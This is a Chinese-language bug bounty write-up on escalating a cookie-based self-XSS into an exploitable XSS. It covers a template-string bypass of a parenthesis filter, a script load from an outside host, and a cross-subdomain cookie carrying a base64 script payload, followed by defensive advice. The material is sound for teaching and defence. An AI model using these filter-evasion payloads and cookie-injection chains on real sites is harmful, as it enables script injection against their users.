Bug Bounty:将Self-XSS转换为可利用的XSS
字数 1421 2025-08-26 22:11:15

从Self-XSS到可利用XSS的转换技术研究

1. 初始XSS漏洞发现与DOM访问问题

安全研究员Brian Hyde在Synack Red Teams的bug bounty平台中发现了一个反射性XSS漏洞,但在利用时遇到了以下问题:

  • 页面过滤掉了包含document.domain的payload上的括号
  • 传统payload如alert(document.domain)无法正常工作
  • 使用反引号替代括号的payload如``alert `document.cookie```虽然能触发弹窗,但只显示文本而非实际DOM属性

2. JavaScript模板字符串技术详解

2.1 模板字符串基础

模板字符串(Template Strings/Literals)是ES6引入的重要特性:

  • 使用反引号(`)而非单/双引号定义
  • 自Chrome 41和Firefox 34后广泛支持
  • 成为AngularJS、KnockOutJS等MVVM框架的基础

基本语法示例

var greeting = `Yo World!`;

2.2 字符串替换功能

模板字符串支持通过${}插入表达式:

变量插入

var name = "Netsparker Turkey";
alert(`Welcome to ${name} Blog`);

函数调用

var name = "Netsparker Turkey";
alert(`Welcome to ${name.toUpperCase()} Blog`);

function sayHello() {
  return "welcome to Netsparker Blog!";
}
alert(`Dear guest, ${sayHello()}`);

转义反引号

var hello = `\` is useful`;
alert(`${hello}`);

2.3 多行字符串处理

传统方式:

var greeting = "Yo \
World";

// 或
var greeting = "Yo " +
"World";

模板字符串方式更简洁:

console.log(`string text line 1
string text line 2`);

2.4 标记模板(Tagged Templates)

模板字符串可作为函数参数:

var message = tag`Hello world`;

// HTML编码示例
html`<p title="${title}">Hello ${you}!</p>`

3. 解决DOM访问问题的技术方案

Hyde使用以下方法绕过括号过滤并成功访问DOM:

setTimeout`alert\x28document.domain\x29`

技术要点:

  • 利用setTimeout函数注册反引号模板
  • 使用十六进制转义\x28表示左括号(\x29表示右括号)
  • 这种方法使document.domain属性值能正确显示而非文本

4. Self-XSS的发现与利用升级

4.1 Self-XSS的限制

Hyde在子域中发现Self-XSS漏洞,但存在以下限制:

  • 需要修改cookie值才能利用
  • 无法直接修改用户浏览器cookie
  • 存在payload字符长度限制

4.2 跨子域cookie操作技术

关键发现:

  • 域可以在所有子域上设置有效cookie
  • 可以从子域覆盖主域上的cookie

4.3 利用方案实现

步骤1:使用已发现的XSS调用外部JS

$.getScript`//xss.example.com/xss.js`

步骤2:外部JS内容(实现cookie设置和重定向):

$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');

function setCookieRedir() {
  document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
  window.location = "https://example.com/vulnerablePage.html";
}

Cookie payload分析
Base64解码值LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v对应:

--></script><script>alert(document.domain);//

5. 防御建议

  1. 输入过滤

    • 不仅要过滤括号,还需处理反引号、十六进制编码等变体
    • 实现上下文相关的输出编码
  2. Cookie安全

    • 设置HttpOnly标志防止JS访问
    • 合理设置domainpath属性
    • 考虑使用SameSite属性
  3. 内容安全策略(CSP)

    • 限制外部脚本加载
    • 禁止内联脚本执行
  4. 子域隔离

    • 关键业务使用独立域名而非子域
    • 严格控制跨子域的cookie共享

6. 扩展阅读资源

  1. Cookie Based Self-XSS to Good XSS - Hyde的完整渗透过程
  2. Getting Literal With ES6 Template Strings - Addy Osmani关于模板字符串的深度解析
  3. XSS Filter Evasion Cheat Sheet - OWASP提供的XSS绕过技术大全
从Self-XSS到可利用XSS的转换技术研究 1. 初始XSS漏洞发现与DOM访问问题 安全研究员Brian Hyde在Synack Red Teams的bug bounty平台中发现了一个反射性XSS漏洞,但在利用时遇到了以下问题: 页面过滤掉了包含 document.domain 的payload上的括号 传统payload如 alert(document.domain) 无法正常工作 使用反引号替代括号的payload如 ``alert `document.cookie ``` 虽然能触发弹窗,但只显示文本而非实际DOM属性 2. JavaScript模板字符串技术详解 2.1 模板字符串基础 模板字符串(Template Strings/Literals)是ES6引入的重要特性: 使用反引号( ` )而非单/双引号定义 自Chrome 41和Firefox 34后广泛支持 成为AngularJS、KnockOutJS等MVVM框架的基础 基本语法示例 : 2.2 字符串替换功能 模板字符串支持通过 ${} 插入表达式: 变量插入 : 函数调用 : 转义反引号 : 2.3 多行字符串处理 传统方式: 模板字符串方式更简洁: 2.4 标记模板(Tagged Templates) 模板字符串可作为函数参数: 3. 解决DOM访问问题的技术方案 Hyde使用以下方法绕过括号过滤并成功访问DOM: 技术要点: 利用 setTimeout 函数注册反引号模板 使用十六进制转义 \x28 表示左括号 ( , \x29 表示右括号 ) 这种方法使 document.domain 属性值能正确显示而非文本 4. Self-XSS的发现与利用升级 4.1 Self-XSS的限制 Hyde在子域中发现Self-XSS漏洞,但存在以下限制: 需要修改cookie值才能利用 无法直接修改用户浏览器cookie 存在payload字符长度限制 4.2 跨子域cookie操作技术 关键发现: 域可以在所有子域上设置有效cookie 可以从子域覆盖主域上的cookie 4.3 利用方案实现 步骤1 :使用已发现的XSS调用外部JS 步骤2 :外部JS内容(实现cookie设置和重定向): Cookie payload分析 : Base64解码值 LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v 对应: 5. 防御建议 输入过滤 : 不仅要过滤括号,还需处理反引号、十六进制编码等变体 实现上下文相关的输出编码 Cookie安全 : 设置 HttpOnly 标志防止JS访问 合理设置 domain 和 path 属性 考虑使用 SameSite 属性 内容安全策略(CSP) : 限制外部脚本加载 禁止内联脚本执行 子域隔离 : 关键业务使用独立域名而非子域 严格控制跨子域的cookie共享 6. 扩展阅读资源 Cookie Based Self-XSS to Good XSS - Hyde的完整渗透过程 Getting Literal With ES6 Template Strings - Addy Osmani关于模板字符串的深度解析 XSS Filter Evasion Cheat Sheet - OWASP提供的XSS绕过技术大全